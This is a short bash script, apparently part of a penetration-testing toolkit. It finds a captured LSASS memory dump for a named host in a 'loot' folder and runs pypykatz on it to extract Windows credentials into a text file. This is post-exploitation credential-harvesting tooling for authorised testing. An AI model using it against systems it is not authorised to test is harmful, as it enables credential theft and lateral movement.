scripts/bash/pt_minidump_lsass.sh
#!/usr/bin/env bash

### BEGIN SCRIPT HEADER
SCRIPT_PATH=$(readlink -f "${BASH_SOURCE[0]}")
SCRIPT_NAME=$(basename "${SCRIPT_PATH}")
DIR_SCRIPT=$(dirname "${SCRIPT_PATH}")
COMMON="${DIR_SCRIPT}/common.sh"
source "$COMMON" || exit
### END SCRIPT HEADER

### BEGIN COMMON
function print_usage_and_exit() {
    print_info "Usage: ${SCRIPT_NAME} <HOSTNAME>"
    exit
}

check_argc $# 1 || print_usage_and_exit
### END COMMON

HOSTNAME=$1

test_command_exists "pypykatz" || exit

lsass_dump_path=$(find ./loot/ -iname "${HOSTNAME}_lsass.dmp" -or -iname "${HOSTNAME}_lsass.bin" 2>/dev/null)
if [ $? -ne 0 ];
then
    print_error "No file matching pattern './loot/${HOSTNAME}_lsass.{dmp,bin}'."
    exit
else
    print_info "Found dump file: ${lsass_dump_path}"
fi

lsass_dump_dir=$(dirname "${lsass_dump_path}")
lsass_dump_filename=$(basename -- "$lsass_dump_path")
lsass_dump_filename="${lsass_dump_filename%.*}"
output_path="${lsass_dump_dir}/${lsass_dump_filename}.txt"

if [ -f "${output_path}" ];
then
    print_error "Output file '${output_path}' already exists."
    exit
fi

pypykatz lsa minidump "${lsass_dump_path}" > "${output_path}"

if [ -f "${output_path}" ];
then
    fs=$(stat --format=%s "${output_path}")
    if [ $fs -eq 0 ];
    then
        print_error "Failed to parse dump file."
        rm -f "${output_path}"
    else
        print_success "Pypykatz output saved to: ${output_path}"
    fi
else
    print_error "Failed to parse dump file."
fi